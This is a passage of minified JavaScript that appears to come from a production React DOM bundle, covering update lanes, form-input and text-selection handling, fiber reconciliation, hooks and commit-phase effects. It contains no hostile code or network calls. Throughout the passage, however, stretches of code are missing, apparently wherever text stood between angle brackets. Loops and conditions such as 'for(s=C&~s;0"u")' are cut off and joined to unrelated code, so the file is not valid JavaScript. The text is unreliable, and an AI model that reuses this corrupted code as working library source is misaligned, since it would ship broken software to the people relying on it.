1073741824:return-1;default:return-1}}function hw(){var a=wu;return wu<<=1,(wu&62914560)===0&&(wu=4194304),a}function Gp(a){for(var o=[],s=0;31>s;s++)o.push(a);return o}function us(a,o){a.pendingLanes|=o,o!==268435456&&(a.suspendedLanes=0,a.pingedLanes=0,a.warmLanes=0)}function p5(a,o,s,d,g,b){var C=a.pendingLanes;a.pendingLanes=s,a.suspendedLanes=0,a.pingedLanes=0,a.warmLanes=0,a.expiredLanes&=s,a.entangledLanes&=s,a.errorRecoveryDisabledLanes&=s,a.shellSuspendCounter=0;var N=a.entanglements,k=a.expirationTimes,Y=a.hiddenUpdates;for(s=C&~s;0"u")return null;try{return a.activeElement||a.body}catch{return a.body}}var x5=/[\n"\\]/g;function Yn(a){return a.replace(x5,function(o){return"\\"+o.charCodeAt(0).toString(16)+" "})}function em(a,o,s,d,g,b,C,N){a.name="",C!=null&&typeof C!="function"&&typeof C!="symbol"&&typeof C!="boolean"?a.type=C:a.removeAttribute("type"),o!=null?C==="number"?(o===0&&a.value===""||a.value!=o)&&(a.value=""+Kn(o)):a.value!==""+Kn(o)&&(a.value=""+Kn(o)):C!=="submit"&&C!=="reset"||a.removeAttribute("value"),o!=null?tm(a,C,Kn(o)):s!=null?tm(a,C,Kn(s)):d!=null&&a.removeAttribute("value"),g==null&&b!=null&&(a.defaultChecked=!!b),g!=null&&(a.checked=g&&typeof g!="function"&&typeof g!="symbol"),N!=null&&typeof N!="function"&&typeof N!="symbol"&&typeof N!="boolean"?a.name=""+Kn(N):a.removeAttribute("name")}function Cw(a,o,s,d,g,b,C,N){if(b!=null&&typeof b!="function"&&typeof b!="symbol"&&typeof b!="boolean"&&(a.type=b),o!=null||s!=null){if(!(b!=="submit"&&b!=="reset"||o!=null)){Jp(a);return}s=s!=null?""+Kn(s):"",o=o!=null?""+Kn(o):s,N||o===a.value||(a.value=o),a.defaultValue=o}d=d??g,d=typeof d!="function"&&typeof d!="symbol"&&!!d,a.checked=N?a.checked:!!d,a.defaultChecked=!!d,C!=null&&typeof C!="function"&&typeof C!="symbol"&&typeof C!="boolean"&&(a.name=C),Jp(a)}function tm(a,o,s){o==="number"&&Au(a.ownerDocument)===a||a.defaultValue===""+s||(a.defaultValue=""+s)}function ko(a,o,s,d){if(a=a.options,o){o={};for(var g=0;g"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),om=!1;if(Zr)try{var ps={};Object.defineProperty(ps,"passive",{get:function(){om=!0}}),window.addEventListener("test",ps,ps),window.removeEventListener("test",ps,ps)}catch{om=!1}var Ha=null,lm=null,_u=null;function Rw(){if(_u)return _u;var a,o=lm,s=o.length,d,g="value"in Ha?Ha.value:Ha.textContent,b=g.length;for(a=0;a=gs),$w=" ",Bw=!1;function Uw(a,o){switch(a){case"keyup":return G5.indexOf(o.keyCode)!==-1;case"keydown":return o.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Hw(a){return a=a.detail,typeof a=="object"&&"data"in a?a.data:null}var $o=!1;function X5(a,o){switch(a){case"compositionend":return Hw(o);case"keypress":return o.which!==32?null:(Bw=!0,$w);case"textInput":return a=o.data,a===$w&&Bw?null:a;default:return null}}function Z5(a,o){if($o)return a==="compositionend"||!dm&&Uw(a,o)?(a=Rw(),_u=lm=Ha=null,$o=!1,a):null;switch(a){case"paste":return null;case"keypress":if(!(o.ctrlKey||o.altKey||o.metaKey)||o.ctrlKey&&o.altKey){if(o.char&&1=o)return{node:s,offset:o-a};a=d}e:{for(;s;){if(s.nextSibling){s=s.nextSibling;break e}s=s.parentNode}s=void 0}s=Xw(s)}}function Qw(a,o){return a&&o?a===o?!0:a&&a.nodeType===3?!1:o&&o.nodeType===3?Qw(a,o.parentNode):"contains"in a?a.contains(o):a.compareDocumentPosition?!!(a.compareDocumentPosition(o)&16):!1:!1}function Jw(a){a=a!=null&&a.ownerDocument!=null&&a.ownerDocument.defaultView!=null?a.ownerDocument.defaultView:window;for(var o=Au(a.document);o instanceof a.HTMLIFrameElement;){try{var s=typeof o.contentWindow.location.href=="string"}catch{s=!1}if(s)a=o.contentWindow;else break;o=Au(a.document)}return o}function mm(a){var o=a&&a.nodeName&&a.nodeName.toLowerCase();return o&&(o==="input"&&(a.type==="text"||a.type==="search"||a.type==="tel"||a.type==="url"||a.type==="password")||o==="textarea"||a.contentEditable==="true")}var i4=Zr&&"documentMode"in document&&11>=document.documentMode,Bo=null,vm=null,ws=null,gm=!1;function eS(a,o,s){var d=s.window===s?s.document:s.nodeType===9?s:s.ownerDocument;gm||Bo==null||Bo!==Au(d)||(d=Bo,"selectionStart"in d&&mm(d)?d={start:d.selectionStart,end:d.selectionEnd}:(d=(d.ownerDocument&&d.ownerDocument.defaultView||window).getSelection(),d={anchorNode:d.anchorNode,anchorOffset:d.anchorOffset,focusNode:d.focusNode,focusOffset:d.focusOffset}),ws&&xs(ws,d)||(ws=d,d=wf(vm,"onSelect"),0>=C,g-=C,Tr=1<<32-Nn(o)+g|s<Re?($e=be,be=null):$e=be.sibling;var He=W(H,be,K[Re],re);if(He===null){be===null&&(be=$e);break}a&&be&&He.alternate===null&&o(H,be),z=b(He,z,Re),Ue===null?Se=He:Ue.sibling=He,Ue=He,be=$e}if(Re===K.length)return s(H,be),Be&&Jr(H,Re),Se;if(be===null){for(;ReRe?($e=be,be=null):$e=be.sibling;var ui=W(H,be,He.value,re);if(ui===null){be===null&&(be=$e);break}a&&be&&ui.alternate===null&&o(H,be),z=b(ui,z,Re),Ue===null?Se=ui:Ue.sibling=ui,Ue=ui,be=$e}if(He.done)return s(H,be),Be&&Jr(H,Re),Se;if(be===null){for(;!He.done;Re++,He=K.next())He=ie(H,He.value,re),He!==null&&(z=b(He,z,Re),Ue===null?Se=He:Ue.sibling=He,Ue=He);return Be&&Jr(H,Re),Se}for(be=d(be);!He.done;Re++,He=K.next())He=J(be,H,Re,He.value,re),He!==null&&(a&&He.alternate!==null&&be.delete(He.key===null?Re:He.key),z=b(He,z,Re),Ue===null?Se=He:Ue.sibling=He,Ue=He);return a&&be.forEach(function(A$){return o(H,A$)}),Be&&Jr(H,Re),Se}function Je(H,z,K,re){if(typeof K=="object"&&K!==null&&K.type===w&&K.key===null&&(K=K.props.children),typeof K=="object"&&K!==null){switch(K.$$typeof){case x:e:{for(var Se=K.key;z!==null;){if(z.key===Se){if(Se=K.type,Se===w){if(z.tag===7){s(H,z.sibling),re=g(z,K.props.children),re.return=H,H=re;break e}}else if(z.elementType===Se||typeof Se=="object"&&Se!==null&&Se.$$typeof===I&&Bi(Se)===z.type){s(H,z.sibling),re=g(z,K.props),_s(re,K),re.return=H,H=re;break e}s(H,z);break}else o(H,z);z=z.sibling}K.type===w?(re=ki(K.props.children,H.mode,re,K.key),re.return=H,H=re):(re=Iu(K.type,K.key,K.props,null,H.mode,re),_s(re,K),re.return=H,H=re)}return C(H);case S:e:{for(Se=K.key;z!==null;){if(z.key===Se)if(z.tag===4&&z.stateNode.containerInfo===K.containerInfo&&z.stateNode.implementation===K.implementation){s(H,z.sibling),re=g(z,K.children||[]),re.return=H,H=re;break e}else{s(H,z);break}else o(H,z);z=z.sibling}re=Em(K,H.mode,re),re.return=H,H=re}return C(H);case I:return K=Bi(K),Je(H,z,K,re)}if(ce(K))return ve(H,z,K,re);if(V(K)){if(Se=V(K),typeof Se!="function")throw Error(r(150));return K=Se.call(K),Ae(H,z,K,re)}if(typeof K.then=="function")return Je(H,z,Fu(K),re);if(K.$$typeof===T)return Je(H,z,Bu(H,K),re);Vu(H,K)}return typeof K=="string"&&K!==""||typeof K=="number"||typeof K=="bigint"?(K=""+K,z!==null&&z.tag===6?(s(H,z.sibling),re=g(z,K),re.return=H,H=re):(s(H,z),re=Om(K,H.mode,re),re.return=H,H=re),C(H)):s(H,z)}return function(H,z,K,re){try{Cs=0;var Se=Je(H,z,K,re);return Zo=null,Se}catch(be){if(be===Xo||be===Hu)throw be;var Ue=jn(29,be,null,H.mode);return Ue.lanes=re,Ue.return=H,Ue}}}var Hi=OS(!0),ES=OS(!1),Ya=!1;function Lm(a){a.updateQueue={baseState:a.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,lanes:0,hiddenCallbacks:null},callbacks:null}}function Im(a,o){a=a.updateQueue,o.updateQueue===a&&(o.updateQueue={baseState:a.baseState,firstBaseUpdate:a.firstBaseUpdate,lastBaseUpdate:a.lastBaseUpdate,shared:a.shared,callbacks:null})}function Ga(a){return{lane:a,tag:0,payload:null,callback:null,next:null}}function Wa(a,o,s){var d=a.updateQueue;if(d===null)return null;if(d=d.shared,(Ve&2)!==0){var g=d.pending;return g===null?o.next=o:(o.next=g.next,g.next=o),d.pending=o,o=Lu(a),lS(a,null,s),o}return ku(a,d,o,s),Lu(a)}function Ts(a,o,s){if(o=o.updateQueue,o!==null&&(o=o.shared,(s&4194048)!==0)){var d=o.lanes;d&=a.pendingLanes,s|=d,o.lanes=s,mw(a,s)}}function zm(a,o){var s=a.updateQueue,d=a.alternate;if(d!==null&&(d=d.updateQueue,s===d)){var g=null,b=null;if(s=s.firstBaseUpdate,s!==null){do{var C={lane:s.lane,tag:s.tag,payload:s.payload,callback:null,next:null};b===null?g=b=C:b=b.next=C,s=s.next}while(s!==null);b===null?g=b=o:b=b.next=o}else g=b=o;s={baseState:d.baseState,firstBaseUpdate:g,lastBaseUpdate:b,shared:d.shared,callbacks:d.callbacks},a.updateQueue=s;return}a=s.lastBaseUpdate,a===null?s.firstBaseUpdate=o:a.next=o,s.lastBaseUpdate=o}var $m=!1;function Ns(){if($m){var a=Wo;if(a!==null)throw a}}function Ms(a,o,s,d){$m=!1;var g=a.updateQueue;Ya=!1;var b=g.firstBaseUpdate,C=g.lastBaseUpdate,N=g.shared.pending;if(N!==null){g.shared.pending=null;var k=N,Y=k.next;k.next=null,C===null?b=Y:C.next=Y,C=k;var te=a.alternate;te!==null&&(te=te.updateQueue,N=te.lastBaseUpdate,N!==C&&(N===null?te.firstBaseUpdate=Y:N.next=Y,te.lastBaseUpdate=k))}if(b!==null){var ie=g.baseState;C=0,te=Y=k=null,N=b;do{var W=N.lane&-536870913,J=W!==N.lane;if(J?(ze&W)===W:(d&W)===W){W!==0&&W===Go&&($m=!0),te!==null&&(te=te.next={lane:0,tag:N.tag,payload:N.payload,callback:null,next:null});e:{var ve=a,Ae=N;W=o;var Je=s;switch(Ae.tag){case 1:if(ve=Ae.payload,typeof ve=="function"){ie=ve.call(Je,ie,W);break e}ie=ve;break e;case 3:ve.flags=ve.flags&-65537|128;case 0:if(ve=Ae.payload,W=typeof ve=="function"?ve.call(Je,ie,W):ve,W==null)break e;ie=m({},ie,W);break e;case 2:Ya=!0}}W=N.callback,W!==null&&(a.flags|=64,J&&(a.flags|=8192),J=g.callbacks,J===null?g.callbacks=[W]:J.push(W))}else J={lane:W,tag:N.tag,payload:N.payload,callback:N.callback,next:null},te===null?(Y=te=J,k=ie):te=te.next=J,C|=W;if(N=N.next,N===null){if(N=g.shared.pending,N===null)break;J=N,N=J.next,J.next=null,g.lastBaseUpdate=J,g.shared.pending=null}}while(!0);te===null&&(k=ie),g.baseState=k,g.firstBaseUpdate=Y,g.lastBaseUpdate=te,b===null&&(g.shared.lanes=0),ei|=C,a.lanes=C,a.memoizedState=ie}}function AS(a,o){if(typeof a!="function")throw Error(r(191,a));a.call(o)}function CS(a,o){var s=a.callbacks;if(s!==null)for(a.callbacks=null,a=0;ab?b:8;var C=L.T,N={};L.T=N,av(a,!1,o,s);try{var k=g(),Y=L.S;if(Y!==null&&Y(N,k),k!==null&&typeof k=="object"&&typeof k.then=="function"){var te=p4(k,d);Rs(a,o,te,Ln(a))}else Rs(a,o,d,Ln(a))}catch(ie){Rs(a,o,{then:function(){},status:"rejected",reason:ie},Ln())}finally{F.p=b,C!==null&&N.types!==null&&(C.types=N.types),L.T=C}}function x4(){}function nv(a,o,s,d){if(a.tag!==5)throw Error(r(476));var g=aO(a).queue;rO(a,g,o,$,s===null?x4:function(){return iO(a),s(d)})}function aO(a){var o=a.memoizedState;if(o!==null)return o;o={memoizedState:$,baseState:$,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:ra,lastRenderedState:$},next:null};var s={};return o.next={memoizedState:s,baseState:s,baseQueue:null,queue:{pending:null,lanes:0,dispatch:null,lastRenderedReducer:ra,lastRenderedState:s},next:null},a.memoizedState=o,a=a.alternate,a!==null&&(a.memoizedState=o),o}function iO(a){var o=aO(a);o.next===null&&(o=a.alternate.memoizedState),Rs(a,o.next.queue,{},Ln())}function rv(){return Wt(Xs)}function oO(){return St().memoizedState}function lO(){return St().memoizedState}function w4(a){for(var o=a.return;o!==null;){switch(o.tag){case 24:case 3:var s=Ln();a=Ga(s);var d=Wa(o,a,s);d!==null&&(Sn(d,o,s),Ts(d,o,s)),o={cache:Pm()},a.payload=o;return}o=o.return}}function S4(a,o,s){var d=Ln();s={lane:d,revertLane:0,gesture:null,action:s,hasEagerState:!1,eagerState:null,next:null},tf(a)?cO(o,s):(s=wm(a,o,s,d),s!==null&&(Sn(s,a,d),uO(s,o,d)))}function sO(a,o,s){var d=Ln();Rs(a,o,s,d)}function Rs(a,o,s,d){var g={lane:d,revertLane:0,gesture:null,action:s,hasEagerState:!1,eagerState:null,next:null};if(tf(a))cO(o,g);else{var b=a.alternate;if(a.lanes===0&&(b===null||b.lanes===0)&&(b=o.lastRenderedReducer,b!==null))try{var C=o.lastRenderedState,N=b(C,s);if(g.hasEagerState=!0,g.eagerState=N,Mn(N,C))return ku(a,o,g,0),tt===null&&Du(),!1}catch{}if(s=wm(a,o,g,d),s!==null)return Sn(s,a,d),uO(s,o,d),!0}return!1}function av(a,o,s,d){if(d={lane:2,revertLane:Lv(),gesture:null,action:d,hasEagerState:!1,eagerState:null,next:null},tf(a)){if(o)throw Error(r(479))}else o=wm(a,s,d,2),o!==null&&Sn(o,a,2)}function tf(a){var o=a.alternate;return a===Pe||o!==null&&o===Pe}function cO(a,o){Jo=Gu=!0;var s=a.pending;s===null?o.next=o:(o.next=s.next,s.next=o),a.pending=o}function uO(a,o,s){if((s&4194048)!==0){var d=o.lanes;d&=a.pendingLanes,s|=d,o.lanes=s,mw(a,s)}}var Ds={readContext:Wt,use:Zu,useCallback:mt,useContext:mt,useEffect:mt,useImperativeHandle:mt,useLayoutEffect:mt,useInsertionEffect:mt,useMemo:mt,useReducer:mt,useRef:mt,useState:mt,useDebugValue:mt,useDeferredValue:mt,useTransition:mt,useSyncExternalStore:mt,useId:mt,useHostTransitionStatus:mt,useFormState:mt,useActionState:mt,useOptimistic:mt,useMemoCache:mt,useCacheRefresh:mt};Ds.useEffectEvent=mt;var fO={readContext:Wt,use:Zu,useCallback:function(a,o){return sn().memoizedState=[a,o===void 0?null:o],a},useContext:Wt,useEffect:GS,useImperativeHandle:function(a,o,s){s=s!=null?s.concat([a]):null,Ju(4194308,4,QS.bind(null,o,a),s)},useLayoutEffect:function(a,o){return Ju(4194308,4,a,o)},useInsertionEffect:function(a,o){Ju(4,2,a,o)},useMemo:function(a,o){var s=sn();o=o===void 0?null:o;var d=a();if(qi){Ba(!0);try{a()}finally{Ba(!1)}}return s.memoizedState=[d,o],d},useReducer:function(a,o,s){var d=sn();if(s!==void 0){var g=s(o);if(qi){Ba(!0);try{s(o)}finally{Ba(!1)}}}else g=o;return d.memoizedState=d.baseState=g,a={pending:null,lanes:0,dispatch:null,lastRenderedReducer:a,lastRenderedState:g},d.queue=a,a=a.dispatch=S4.bind(null,Pe,a),[d.memoizedState,a]},useRef:function(a){var o=sn();return a={current:a},o.memoizedState=a},useState:function(a){a=Zm(a);var o=a.queue,s=sO.bind(null,Pe,o);return o.dispatch=s,[a.memoizedState,s]},useDebugValue:ev,useDeferredValue:function(a,o){var s=sn();return tv(s,a,o)},useTransition:function(){var a=Zm(!1);return a=rO.bind(null,Pe,a.queue,!0,!1),sn().memoizedState=a,[!1,a]},useSyncExternalStore:function(a,o,s){var d=Pe,g=sn();if(Be){if(s===void 0)throw Error(r(407));s=s()}else{if(s=o(),tt===null)throw Error(r(349));(ze&127)!==0||PS(d,o,s)}g.memoizedState=s;var b={value:s,getSnapshot:o};return g.queue=b,GS(DS.bind(null,d,b,a),[a]),d.flags|=2048,tl(9,{destroy:void 0},RS.bind(null,d,b,s,o),null),s},useId:function(){var a=sn(),o=tt.identifierPrefix;if(Be){var s=Nr,d=Tr;s=(d&~(1<<32-Nn(d)-1)).toString(32)+s,o="_"+o+"R_"+s,s=Wu++,0<\/script>",b=b.removeChild(b.firstChild);break;case"select":b=typeof d.is=="string"?C.createElement("select",{is:d.is}):C.createElement("select"),d.multiple?b.multiple=!0:d.size&&(b.size=d.size);break;default:b=typeof d.is=="string"?C.createElement(g,{is:d.is}):C.createElement(g)}}b[Yt]=o,b[vn]=d;e:for(C=o.child;C!==null;){if(C.tag===5||C.tag===6)b.appendChild(C.stateNode);else if(C.tag!==4&&C.tag!==27&&C.child!==null){C.child.return=C,C=C.child;continue}if(C===o)break e;for(;C.sibling===null;){if(C.return===null||C.return===o)break e;C=C.return}C.sibling.return=C.return,C=C.sibling}o.stateNode=b;e:switch(Zt(b,g,d),g){case"button":case"input":case"select":case"textarea":d=!!d.autoFocus;break e;case"img":d=!0;break e;default:d=!1}d&&ia(o)}}return it(o),yv(o,o.type,a===null?null:a.memoizedProps,o.pendingProps,s),null;case 6:if(a&&o.stateNode!=null)a.memoizedProps!==d&&ia(o);else{if(typeof d!="string"&&o.stateNode===null)throw Error(r(166));if(a=xe.current,Ko(o)){if(a=o.stateNode,s=o.memoizedProps,d=null,g=Gt,g!==null)switch(g.tag){case 27:case 5:d=g.memoizedProps}a[Yt]=o,a=!!(a.nodeValue===s||d!==null&&d.suppressHydrationWarning===!0||ME(a.nodeValue,s)),a||Va(o,!0)}else a=Sf(a).createTextNode(d),a[Yt]=o,o.stateNode=a}return it(o),null;case 31:if(s=o.memoizedState,a===null||a.memoizedState!==null){if(d=Ko(o),s!==null){if(a===null){if(!d)throw Error(r(318));if(a=o.memoizedState,a=a!==null?a.dehydrated:null,!a)throw Error(r(557));a[Yt]=o}else Li(),(o.flags&128)===0&&(o.memoizedState=null),o.flags|=4;it(o),a=!1}else s=Tm(),a!==null&&a.memoizedState!==null&&(a.memoizedState.hydrationErrors=s),a=!0;if(!a)return o.flags&256?(Rn(o),o):(Rn(o),null);if((o.flags&128)!==0)throw Error(r(558))}return it(o),null;case 13:if(d=o.memoizedState,a===null||a.memoizedState!==null&&a.memoizedState.dehydrated!==null){if(g=Ko(o),d!==null&&d.dehydrated!==null){if(a===null){if(!g)throw Error(r(318));if(g=o.memoizedState,g=g!==null?g.dehydrated:null,!g)throw Error(r(317));g[Yt]=o}else Li(),(o.flags&128)===0&&(o.memoizedState=null),o.flags|=4;it(o),g=!1}else g=Tm(),a!==null&&a.memoizedState!==null&&(a.memoizedState.hydrationErrors=g),g=!0;if(!g)return o.flags&256?(Rn(o),o):(Rn(o),null)}return Rn(o),(o.flags&128)!==0?(o.lanes=s,o):(s=d!==null,a=a!==null&&a.memoizedState!==null,s&&(d=o.child,g=null,d.alternate!==null&&d.alternate.memoizedState!==null&&d.alternate.memoizedState.cachePool!==null&&(g=d.alternate.memoizedState.cachePool.pool),b=null,d.memoizedState!==null&&d.memoizedState.cachePool!==null&&(b=d.memoizedState.cachePool.pool),b!==g&&(d.flags|=2048)),s!==a&&s&&(o.child.flags|=8192),lf(o,o.updateQueue),it(o),null);case 4:return Q(),a===null&&Bv(o.stateNode.containerInfo),it(o),null;case 10:return ta(o.type),it(o),null;case 19:if(X(wt),d=o.memoizedState,d===null)return it(o),null;if(g=(o.flags&128)!==0,b=d.rendering,b===null)if(g)Ls(d,!1);else{if(vt!==0||a!==null&&(a.flags&128)!==0)for(a=o.child;a!==null;){if(b=Yu(a),b!==null){for(o.flags|=128,Ls(d,!1),a=b.updateQueue,o.updateQueue=a,lf(o,a),o.subtreeFlags=0,a=s,s=o.child;s!==null;)sS(s,a),s=s.sibling;return ae(wt,wt.current&1|2),Be&&Jr(o,d.treeForkCount),o.child}a=a.sibling}d.tail!==null&&_n()>df&&(o.flags|=128,g=!0,Ls(d,!1),o.lanes=4194304)}else{if(!g)if(a=Yu(b),a!==null){if(o.flags|=128,g=!0,a=a.updateQueue,o.updateQueue=a,lf(o,a),Ls(d,!0),d.tail===null&&d.tailMode==="hidden"&&!b.alternate&&!Be)return it(o),null}else 2*_n()-d.renderingStartTime>df&&s!==536870912&&(o.flags|=128,g=!0,Ls(d,!1),o.lanes=4194304);d.isBackwards?(b.sibling=o.child,o.child=b):(a=d.last,a!==null?a.sibling=b:o.child=b,d.last=b)}return d.tail!==null?(a=d.tail,d.rendering=a,d.tail=a.sibling,d.renderingStartTime=_n(),a.sibling=null,s=wt.current,ae(wt,g?s&1|2:s&1),Be&&Jr(o,d.treeForkCount),a):(it(o),null);case 22:case 23:return Rn(o),Um(),d=o.memoizedState!==null,a!==null?a.memoizedState!==null!==d&&(o.flags|=8192):d&&(o.flags|=8192),d?(s&536870912)!==0&&(o.flags&128)===0&&(it(o),o.subtreeFlags&6&&(o.flags|=8192)):it(o),s=o.updateQueue,s!==null&&lf(o,s.retryQueue),s=null,a!==null&&a.memoizedState!==null&&a.memoizedState.cachePool!==null&&(s=a.memoizedState.cachePool.pool),d=null,o.memoizedState!==null&&o.memoizedState.cachePool!==null&&(d=o.memoizedState.cachePool.pool),d!==s&&(o.flags|=2048),a!==null&&X($i),null;case 24:return s=null,a!==null&&(s=a.memoizedState.cache),o.memoizedState.cache!==s&&(o.flags|=2048),ta(Et),it(o),null;case 25:return null;case 30:return null}throw Error(r(156,o.tag))}function _4(a,o){switch(Cm(o),o.tag){case 1:return a=o.flags,a&65536?(o.flags=a&-65537|128,o):null;case 3:return ta(Et),Q(),a=o.flags,(a&65536)!==0&&(a&128)===0?(o.flags=a&-65537|128,o):null;case 26:case 27:case 5:return he(o),null;case 31:if(o.memoizedState!==null){if(Rn(o),o.alternate===null)throw Error(r(340));Li()}return a=o.flags,a&65536?(o.flags=a&-65537|128,o):null;case 13:if(Rn(o),a=o.memoizedState,a!==null&&a.dehydrated!==null){if(o.alternate===null)throw Error(r(340));Li()}return a=o.flags,a&65536?(o.flags=a&-65537|128,o):null;case 19:return X(wt),null;case 4:return Q(),null;case 10:return ta(o.type),null;case 22:case 23:return Rn(o),Um(),a!==null&&X($i),a=o.flags,a&65536?(o.flags=a&-65537|128,o):null;case 24:return ta(Et),null;case 25:return null;default:return null}}function kO(a,o){switch(Cm(o),o.tag){case 3:ta(Et),Q();break;case 26:case 27:case 5:he(o);break;case 4:Q();break;case 31:o.memoizedState!==null&&Rn(o);break;case 13:Rn(o);break;case 19:X(wt);break;case 10:ta(o.type);break;case 22:case 23:Rn(o),Um(),a!==null&&X($i);break;case 24:ta(Et)}}function Is(a,o){try{var s=o.updateQueue,d=s!==null?s.lastEffect:null;if(d!==null){var g=d.next;s=g;do{if((s.tag&a)===a){d=void 0;var b=s.create,C=s.inst;d=b(),C.destroy=d}s=s.next}while(s!==g)}}catch(N){We(o,o.return,N)}}function Qa(a,o,s){try{var d=o.updateQueue,g=d!==null?d.lastEffect:null;if(g!==null){var b=g.next;d=b;do{if((d.tag&a)===a){var C=d.inst,N=C.destroy;if(N!==void 0){C.destroy=void 0,g=o;var k=s,Y=N;try{Y()}catch(te){We(g,k,te)}}}d=d.next}while(d!==b)}}catch(te){We(o,o.return,te)}}function LO(a){var o=a.updateQueue;if(o!==null){var s=a.stateNode;try{CS(o,s)}catch(d){We(a,a.return,d)}}}function IO(a,o,s){s.props=Fi(a.type,a.memoizedProps),s.state=a.memoizedState;try{s.componentWillUnmount()}catch(d){We(a,o,d)}}function zs(a,o){try{var s=a.ref;if(s!==null){switch(a.tag){case 26:case 27:case 5:var d=a.stateNode;break;case 30:d=a.stateNode;break;default:d=a.stateNode}typeof s=="function"?a.refCleanup=s(d):s.current=d}}catch(g){We(a,o,g)}}function Mr(a,o){var s=a.ref,d=a.refCleanup;if(s!==null)if(typeof d=="function")try{d()}catch(g){We(a,o,g)}finally{a.refCleanup=null,a=a.alternate,a!=null&&(a.refCleanup=null)}else if(typeof s=="function")try{s(null)}catch(g){We(a,o,g)}else s.current=null}function zO(a){var o=a.type,s=a.memoizedProps,d=a.stateNode;try{e:switch(o){case"button":case"input":case"select":case"textarea":s.autoFocus&&d.focus();break e;case"img":s.src?d.src=s.src:s.srcSet&&(d.srcset=s.srcSet)}}catch(g){We(a,a.return,g)}}function bv(a,o,s){try{var d=a.stateNode;W4(d,a.type,s,o),d[vn]=o}catch(g){We(a,a.return,g)}}function $O(a){return a.tag===5||a.tag===3||a.tag===26||a.tag===27&&ii(a.type)||a.tag===4}function xv(a){e:for(;;){for(;a.sibling===null;){if(a.return===null||$O(a.return))return null;a=a.return}for(a.sibling.return=a.return,a=a.sibling;a.tag!==5&&a.tag!==6&&a.tag!==18;){if(a.tag===27&&ii(a.type)||a.flags&2||a.child===null||a.tag===4)continue e;a.child.return=a,a=a.child}if(!(a.flags&2))return a.stateNode}}function wv(a,o,s){var d=a.tag;if(d===5||d===6)a=a.stateNode,o?(s.nodeType===9?s.body:s.nodeName==="HTML"?s.ownerDocument.body:s).insertBefore(a,o):(o=s.nodeType===9?s.body:s.nodeName==="HTML"?s.ownerDocument.body:s,o.appendChild(a),s=s._reactRootContainer,s!=null||o.onclick!==null||(o.onclick=Xr));else if(d!==4&&(d===27&&ii(a.type)&&(s=a.stateNode,o=null),a=a.child,a!==null))for(wv(a,o,s),a=a.sibling;a!==null;)wv(a,o,s),a=a.sibling}function sf(a,o,s){var d=a.tag;if(d===5||d===6)a=a.stateNode,o?s.insertBefore(a,o):s.appendChild(a);else if(d!==4&&(d===27&&ii(a.type)&&(s=a.stateNode),a=a.child,a!==null))for(sf(a,o,s),a=a.sibling;a!==null;)sf(a,o,s),a=a.sibling}function BO(a){var o=a.stateNode,s=a.memoizedProps;try{for(var d=a.type,g=o.attributes;g.length;)o.removeAttributeNode(g[0]);Zt(o,d,s),o[Yt]=a,o[vn]=s}catch(b){We(a,a.return,b)}}var oa=!1,_t=!1,Sv=!1,UO=typeof WeakSet=="function"?WeakSet:Set,Bt=null;function T4(a,o){if(a=a.containerInfo,qv=Nf,a=Jw(a),mm(a)){if("selectionStart"in a)var s={start:a.selectionStart,end:a.selectionEnd};else e:{s=(s=a.ownerDocument)&&s.defaultView||window;var d=s.getSelection&&s.getSelection();if(d&&d.rangeCount!==0){s=d.anchorNode;var g=d.anchorOffset,b=d.focusNode;d=d.focusOffset;try{s.nodeType,b.nodeType}catch{s=null;break e}var C=0,N=-1,k=-1,Y=0,te=0,ie=a,W=null;t:for(;;){for(var J;ie!==s||g!==0&&ie.nodeType!==3||(N=C+g),ie!==b||d!==0&&ie.nodeType!==3||(k=C+d),ie.nodeType===3&&(C+=ie.nodeValue.length),(J=ie.firstChild)!==null;)W=ie,ie=J;for(;;){if(ie===a)break t;if(W===s&&++Y===g&&(N=C),W===b&&++te===d&&(k=C),(J=ie.nextSibling)!==null)break;ie=W,W=ie.parentNode}ie=J}s=N===-1||k===-1?null:{start:N,end:k}}else s=null}s=s||{start:0,end:0}}else s=null;for(Fv={focusedElem:a,selectionRange:s},Nf=!1,Bt=o;Bt!==null;)if(o=Bt,a=o.child,(o.subtreeFlags&1028)!==0&&a!==null)a.return=o,Bt=a;else for(;Bt!==null;){switch(o=Bt,b=o.alternate,a=o.flags,o.tag){case 0:if((a&4)!==0&&(a=o.updateQueue,a=a!==null?a.events:null,a!==null))for(s=0;s title"))),Zt(b,d,s),b[Yt]=a,$t(b),d=b;break e;case"link":var C=YE("link","href",g).get(d+(s.href||""));if(C){for(var N=0;NJe&&(C=Je,Je=Ae,Ae=C);var H=Zw(N,Ae),z=Zw(N,Je);if(H&&z&&(J.rangeCount!==1||J.anchorNode!==H.node||J.anchorOffset!==H.offset||J.focusNode!==z.node||J.focusOffset!==z.offset)){var K=ie.createRange();K.setStart(H.node,H.offset),J.removeAllRanges(),Ae>Je?(J.addRange(K),J.extend(z.node,z.offset)):(K.setEnd(z.node,z.offset),J.addRange(K))}}}}for(ie=[],J=N;J=J.parentNode;)J.nodeType===1&&ie.push({element:J,left:J.scrollLeft,top:J.scrollTop});for(typeof N.focus=="function"&&N.focus(),N=0;Ns?32:s,L.T=null,s=Nv,Nv=null;var b=ni,C=fa;if(jt=0,ol=ni=null,fa=0,(Ve&6)!==0)throw Error(r(331));var N=Ve;if(Ve|=4,QO(b.current),WO(b,b.current,C,s),Ve=N,Fs(0,!1),Tn&&typeof Tn.onPostCommitFiberRoot=="function")try{Tn.onPostCommitFiberRoot(ss,b)}catch{}return!0}finally{F.p=g,L.T=d,vE(a,o)}}function yE(a,o,s){o=Wn(s,o),o=sv(a.stateNode,o,2),a=Wa(a,o,2),a!==null&&(us(a,2),jr(a))}function We(a,o,s){if(a.tag===3)yE(a,a,s);else for(;o!==null;){if(o.tag===3){yE(o,a,s);break}else if(o.tag===1){var d=o.stateNode;if(typeof o.type.getDerivedStateFromError=="function"||typeof d.componentDidCatch=="function"&&(ti===null||!ti.has(d))){a=Wn(s,a),s=bO(2),d=Wa(o,s,2),d!==null&&(xO(s,d,o,a),us(d,2),jr(d));break}}o=o.return}}function Rv(a,o,s){var d=a.pingCache;if(d===null){d=a.pingCache=new j4;var g=new Set;d.set(o,g)}else g=d.get(o),g===void 0&&(g=new Set,d.set(o,g));g.has(s)||(Av=!0,g.add(s),a=L4.bind(null,a,o,s),o.then(a,a))}function L4(a,o,s){var 